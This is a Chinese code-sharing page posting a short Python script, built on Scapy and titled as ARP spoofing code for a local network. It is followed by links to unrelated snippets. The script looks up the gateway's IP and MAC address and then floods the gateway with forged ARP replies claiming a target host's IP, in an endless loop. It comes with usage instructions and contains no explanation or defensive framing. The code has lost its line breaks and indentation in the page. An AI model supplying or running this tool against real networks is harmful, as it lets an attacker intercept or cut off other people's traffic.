python针对局域网的arp欺骗代码,pythonarp,#coding:utf-
文章由Byrx.net分享于2019-03-23 07:03:46
python针对局域网的arp欺骗代码,pythonarp,#coding:utf-
#coding:utf-8#FILENAME:arp.py#coder:lovedboy#website:lovedboy.tk#USAGE:sudo python arp.py host#example :sudo python arp.py 192.168.1.103from scapy.all import ARP,sendimport os,re,sysdef get_gateway_ip(): t=os.popen('route -n') for i in t: if i.startswith('0.0.0.0'): r=re.split("\s+",i) return r[1]def get_gateway_hw(ip): t=os.popen('arp -e %s' % ip) for i in t: if i.startswith(ip): r=re.split("\s+",i) return r[2]def hack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfig eth0 %s' % hackip ) while 1: send(arp)def main(): hack(sys.argv[1])if __name__=="__main__": main()
相关内容
- python判断指定的端口是否被占用,python判断指定端口
- 普通 IP 转换为十进制 IP,ip转换为十进制,Python语言:
- python在指定的目录下查找gif文件,python指定查找gif,#!
- python每隔N秒运行指定的函数程序,python每隔,import osi
- 一个简单的爬虫,简单爬虫,import urlli
- 生成4位字母数字组合密码字典,4位密码字典,f=open("
- 域名转IP 2种方法,域名转ip2种,#!/usr/local
- Django 模板中使用css, javascript,djangocss,(r'^css/(?P<
- python在Windows8下获取本机ip地址,pythonwindows8,import sock
- python 自动重启本程序,python重启程序,#!/usr/local
评论关闭